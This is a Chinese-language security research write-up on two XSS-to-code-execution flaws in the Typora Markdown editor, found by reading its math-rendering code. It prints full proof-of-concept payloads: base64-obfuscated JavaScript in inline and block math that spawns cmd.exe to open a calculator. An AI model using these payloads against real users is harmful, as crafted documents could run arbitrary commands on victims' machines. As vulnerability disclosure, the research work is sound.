Typora XSS 到 RCE(下)
前言:
上一篇文章講了我通過黑盒測試從輸出點入手挖到的 Typora 可以導致遠端命令執行的XSS,並分析了漏洞原因。那麼今天就講一下我從程式碼入手挖到的另外兩個XSS。
漏洞二&三:
從解析Markdown的程式碼入手:
我們知道容易導致 XSS 的一種情況就是,使用者可以控制的內容未經處理直接拼接進 HTML 。那麼我們這一次直接在程式碼中尋找這樣的位置。
通過上一次的分析,我們已經大概知道了 Typora 將 Markdown 解析成 HTML 的過程,其中負責將 Markdown 語法轉換成 HTML 的主要函式就是 ce.prototype.output
,既然這次要從程式碼入手找漏洞,我們當然就需要對這個函式有一定的瞭解,這裡簡要對這個函式的主要邏輯做一個分析:
ce.prototype.output = function( String e, //輸入的內容 .eg:~~del~~ Function t, //生成HTML的規則函式 Bool n, //開關,決定要不要對格式為:[xxx](<a href="https://www.eg.com">https://www.eg.com</a>) 中的特殊字元(\=,\*,\\,\[,\_)進行替換 Object r, //輸入內容type, .eg:{"attr":true} Object o //記錄遊標資訊的物件 ) { t = t || this.options.decorate, // 如果t為null,則使用 this.options.decorate 作為生成HTML的規則函式 ...... function S(Array e){ //引數e的結構在後面說 ...... // 將傳入的陣列中的物件,分別使用函式t處理,生成HTML for (var n = "", i = 0; i < e.length; i++) { ...... var r = e[i]; n += t(r,w,o); } return n; } ...... //對markdown語法進行正則匹配、處理的部分: for((判斷是否處理結束的條件);e;){ if (r.markLinebreak && (f = /^\r?\n/.exec(e)))){......} else if (f = this.rules.escape2.exec(e)){......} ...... else if (f = this.rules.del.exec(e)) //如果匹配到滿足del的語法 //.eg f:["~~del~~", "del", index: 0, input: "~~del~~", groups: undefined] y += f[0].length, e = e.substring(f[0].length), // 刪除已經處理完的部分 b.push({ type: a.del, // a.del 就是 "del",其他的也一樣 pattern: "~~", // 匹配到的語法標誌 inner: this.output(f[1], t, !0), //遞迴呼叫ce.prototype.output,對內部的其他語法進行處理 text: f[1] //除去語法標誌後的內容 }); ...... } G = S(b); //使用 S 函式對 匹配結束後生成的陣列 b ,進行處理。 return G; }
整個邏輯大體就是通過正則表示式匹配 Markdown 語法,標記後傳入 t
函式生成,根據相應的規則生成HTML。
而 t
函式可以是外部傳進來的,否則預設設定為 ce.options.decorate
, 那麼我們來看一下 ce.options.decorate
,通過搜尋找到定義 ce.options.decorate
的位置:
function ce(e, t, n) { this.options = e || ye({}, Te.defaults), this.options.decorate = t || s.decorate, this.options.context = n || this, this.rules = le.normal, ...... }
發現這裡的邏輯也是一樣的,在沒有傳入外部函式的情況下,使用預設值 s.decorate
,找到 s.decorate
:
終於到了生成 HTML 的位置了,可以愉快的找漏洞了!這裡的物件 e
就是上面陣列 b
中的元素,如果有忘記格式的朋友,可以去上面再看一眼。
我們可以看到這個函式內大多是直接將內容拼接進 HTML 字串。那麼只要被拼接的內容我們可以控制,就可以造成 XSS, 而物件 e
中我們可以控制的內容就是 text
屬性。那麼我們就找一找有沒有直接拼接 e.text
的地方。
果然,我們發現在 e.type
值為 inline-math
的時候,直接將 e.text
進行了拼接:
case c.inline_math: return e.text = e.text.replace(/\u200B+/g, ""), !/^\$+$/.exec(e.text) && svgCache[e.text] ? "<span class='md-inline-math math-jax-postprocess' md-inline='inline_math' ><span class='md-before md-meta'>" + e.pattern + "</span><span class='inline-math-svg'>" + svgCache[e.text] + "</span><span class='md-math-after-sym'></span><span class='md-after md-meta'>" + e.pattern + "</span></span>" : "<span class='md-inline-math math-jax-preprocess' md-inline='inline_math'><span class='md-before md-meta'>" + e.pattern + "</span><span class='md-math-tex inline-math-svg'><script type='math/tex'>" + e.text + "<\/script></span><span class='md-math-after-sym'></span><span class='md-after md-meta'>" + e.pattern + "</span></span>";
那麼就有了我們的漏洞二,poc 如下:
$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$
當用戶開啟包含上述程式碼的文件時,就會彈出一個計算器:
擴大戰果:
這時候別高興得太早,我們還能擴大戰果:大家看到 inline_math
這個名字有沒有敏感的想到,既然有行內公式,就一定也有行間(塊)公式,既然行內公式有漏洞,那麼行間公式會不會也有問題呢?而我們當前的 s.decorate
函式中只有對行內元素的處理,於是分別嘗試全域性搜尋: block_math
、 display_math,
、 math_block
等關鍵詞,最終找到了對 math_block
的處理:
case o.math_block: var F = document.createElement("script"); return F.textContent = this.get("text") || "<Empty \\space Math \\space Block>", F.setAttribute("type", "math/tex; mode=display"), "<div contenteditable='false' spellcheck='false' class='mathjax-block md-end-block md-math-block md-rawblock' id='mathjax-" + this.cid + "' " + f(this) + ">" + d.replace("{type}", $.localize.getString("Math", "Menu")) + "<div class='md-rawblock-container md-math-container' tabindex='-1'>" + F.outerHTML + "</div></div>";
我們看到,這裡建立了一個 type
屬性為 math/tex; mode=display
的 script
標籤 F
,然後將待處理的文字內容( this.get("text")
)直接賦值作為 textContent
,隨後又將 F.outHTML
拼接進了 HTML 程式碼中返回,問題就出在這裡。本來將內容作為 textContent
,是不會導致XSS的,但是經過 F.outerHTML
後再拼接回去,就和直接拼接 HTML 程式碼無異了。於是有了漏洞三,poc只需把漏洞二的 $
改成 $$
即可:
$$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$$
截止目前(2019.2.11),漏洞二已經在 v0.9.64 中被修復,而漏洞三在提交16天過後仍未修復。
結語:
這是我第一次挖掘 Webapp 的漏洞,思路和方法都難免有些不是很成熟的地方,歡迎並感謝大家討論和指教 。